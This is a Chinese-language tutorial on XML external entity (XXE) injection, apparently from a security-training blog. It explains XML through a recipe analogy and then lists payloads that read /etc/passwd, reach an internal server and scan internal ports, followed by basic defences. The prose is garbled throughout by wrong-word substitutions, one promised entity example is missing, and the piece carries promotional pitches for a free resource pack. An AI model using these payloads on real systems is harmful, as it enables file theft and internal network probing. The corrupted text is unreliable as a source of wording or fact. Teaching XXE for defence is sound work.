各人好,我是步伐员晓晓。今天我们来聊一聊XML外部实体(XXE)注入这个话题。无论你是安全新手照旧经验丰富的排泄测试工程师,明白XXE注入都黑白常重要的。让我们一起深入探讨这个有趣又伤害的安全漏洞吧!
免责声明:因利用本人所提供的信息而产生的任何结果或损失,由利用者自行承担,作者概不负责。如有侵权,请告知,我会立即删除并致歉。感谢您的明白与支持!
XML底子知识回顾
想象一下,XML就像是一本有特定格式的菜谱书。每个菜谱(XML文档)都有以下部分:
- 封面信息(XML声明):告诉你这是一本什么样的书,用什么语言写的。
- 目录(DTD):表明了这本书的结构,每个章节应该包罗什么。
- 详细的菜谱内容(文档元素):实际的菜品信息。
好比,一个简单的"蛋炒饭食谱"的XML大概长如许:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE recipe [
- <!ELEMENT recipe (name,ingredients,steps)>
- <!ELEMENT name (#PCDATA)>
- <!ELEMENT ingredients (#PCDATA)>
- <!ELEMENT steps (#PCDATA)>
- ]>
- <recipe>
- <name>蛋炒饭</name>
- <ingredients>米饭、鸡蛋、葱花、油、盐</ingredients>
- <steps>1.打蛋 2.炒蛋 3.加米饭 4.翻炒 5.加调料</steps>
- </recipe>
复制代码 我给各人准备了一份全套的《网络安全入门+进阶学习资源包》包罗各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
XML实体先容
XML实体就像是菜谱中的"快捷键"或"宏"。它们可以让你快速引用常用的内容,而不用每次都重复写。
想象你在写一本中华料理的菜谱书,你大概会经常用到"参加适量盐调味"这句话。你可以创建一个实体来代替这个常用短语:
然后在需要的地方利用 &salt; 来引用这个短语。
XML中重要有三种"快捷键":
- 内部实体:就像是书内的缩写注释。
- 外部实体:像是引用其他书籍或外部资源的内容。
- 参数实体:只能在"目录"(DTD)中利用的特别缩写。
XXE注入原理
想象你正在利用一个智能菜谱APP。这个APP答应用户上传自己的菜谱,然后会自动解析并展示。
正常情况下,用户会上传类似前面提到的蛋炒饭菜谱。但是,一个调皮的用户决定上传一个特别的"菜谱":
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE recipe [
- <!ENTITY xxe SYSTEM "file:///etc/passwd">
- ]>
- <recipe>
- <name>神秘菜谱</name>
- <ingredients>&xxe;</ingredients>
- </recipe>
复制代码 这个"菜谱"看起来很正常,但实际上它包罗了一个外部实体 &xxe;,这个实体引用了服务器上的 /etc/passwd 文件。
如果APP在解析这个XML时没有做好安全步伐,它大概会真的去读取 /etc/passwd 文件的内容,并把它显示在"配料"部分!这就是XXE注入攻击的基本原理。
攻击者就像是一个顽皮的孩子,他发现了菜谱书的一个"邪术词",可以让书自动翻到其他不干系的页面。如果书的制作者不小心,大概会暴露出不应该给读者看到的信息。
XXE攻击类型
常见的XXE攻击类型包括:
- 读取任意文件
- 实行SSRF攻击
- 内网端口扫描
- 拒绝服务攻击
下面我们来看几个详细的攻击案例。
XXE攻击实例
读取当地文件
Payload:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
- <foo>&xxe;</foo>
复制代码 这个payload大概会读取并显示服务器上的/etc/passwd文件内容。
SSRF攻击
Payload:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTITY xxe SYSTEM "http://internal-server/secret" >]>
- <foo>&xxe;</foo>
复制代码 这个payload大概会让服务器访问内网中的一个地址,potentially泄漏敏感信息。
内网端口扫描
Payload:
- <?xml version="1.0" encoding="UTF-8"?>
- <!DOCTYPE foo [
- <!ELEMENT foo ANY >
- <!ENTITY xxe SYSTEM "http://192.168.1.1:80" >]>
- <foo>&xxe;</foo>
复制代码 通过修改IP和端口,攻击者可以探测内网中开放的端口。
XXE防御步伐
为了防御XXE攻击,可以采取以下步伐:
- 禁用外部实体解析
- 利用安全的XML解析器
- 过滤用户输入中的特别字符
- 利用最新的XML处理库并及时更新补丁
在PHP中,可以利用以下代码禁用外部实体:
- libxml_disable_entity_loader(true);
复制代码 总结
XXE注入是一种常见且危害较大的Web安全漏洞。作为安全从业者,我们要深入明白其原理,把握攻击和防御本领。同时,作为开发者在一样平常开发中也要留意XML解析的安全性,防患于未然。
记住,安全不是一挥而就的,需要我们不断学习和实践。盼望这篇文章能帮助你更好地明白XXE注入,进步你的安全意识和技能。
网络安全学习资源分享:
给各人分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习发展门路图。可以说是最科学最系统的学习门路,各人跟着这个大的方向学习准没题目。
因篇幅有限,仅展示部分资料,朋侪们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前去获取
|